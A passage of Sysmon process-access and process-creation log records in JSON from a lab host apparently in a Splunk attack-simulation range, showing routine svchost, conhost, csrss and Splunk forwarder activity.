c|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3382,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:28.260\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:28.260","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3383,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:28.260\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:28.260","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3384,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:28.260\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:28.260","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3385,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:28.260\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-407C-5F2D-0000-001072270500}\r\nTargetProcessId: 2664\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:28.260","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-407C-5F2D-0000-001072270500}","TargetProcessId":"2664","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":3386,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:28.278\r\nProcessGuid: {90617006-407C-5F2D-0000-001033280500}\r\nProcessId: 4352\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nFileVersion: 8.0.2\r\nDescription: splunk Application\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal pre-flight-checks --answer-yes --no-prompt \r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=BA47934C1D8F8F5D495F67F9B6EF5D0B,SHA256=39A00C55E1BC2233DBEE2A3F2F8CB9BD3668275DCA5F83BD11958FAF50E8C8CE,IMPHASH=4D753DA340C903D8C30CD8B0CF2B73E3\r\nParentProcessGuid: {90617006-407C-5F2D-0000-001072270500}\r\nParentProcessId: 2664\r\nParentImage: C:\\Windows\\System32\\cmd.exe\r\nParentCommandLine: C:\\Windows\\system32\\cmd.exe /c \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal pre-flight-checks --answer-yes --no-prompt 2>&1","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:52:28.278","ProcessGuid":"{90617006-407C-5F2D-0000-001033280500}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","FileVersion":"8.0.2","Description":"splunk Application","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunk.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal pre-flight-checks --answer-yes --no-prompt ","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=BA47934C1D8F8F5D495F67F9B6EF5D0B,SHA256=39A00C55E1BC2233DBEE2A3F2F8CB9BD3668275DCA5F83BD11958FAF50E8C8CE,IMPHASH=4D753DA340C903D8C30CD8B0CF2B73E3","ParentProcessGuid":"{90617006-407C-5F2D-0000-001072270500}","ParentProcessId":"2664","ParentImage":"C:\\Windows\\System32\\cmd.exe","ParentCommandLine":"C:\\Windows\\system32\\cmd.exe /c \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal pre-flight-checks --answer-yes --no-prompt 2>&1","EventReceivedTime":"2020-08-07 11:52:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3387,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:28.276\r\nSourceProcessGUID: {90617006-407C-5F2D-0000-001072270500}\r\nSourceProcessId: 2664\r\nSourceThreadId: 2668\r\nSourceImage: C:\\Windows\\system32\\cmd.exe\r\nTargetProcessGUID: {90617006-407C-5F2D-0000-001033280500}\r\nTargetProcessId: 4352\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:28.276","SourceProcessGUID":"{90617006-407C-5F2D-0000-001072270500}","SourceProcessId":"2664","SourceThreadId":"2668","SourceImage":"C:\\Windows\\system32\\cmd.exe","TargetProcessGUID":"{90617006-407C-5F2D-0000-001033280500}","TargetProcessId":"4352","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3388,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:28.276\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-407C-5F2D-0000-001033280500}\r\nTargetProcessId: 4352\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:28.276","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-407C-5F2D-0000-001033280500}","TargetProcessId":"4352","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:52:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3389,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:28.276\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:28.276","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3390,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:28.276\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:28.276","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:29","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 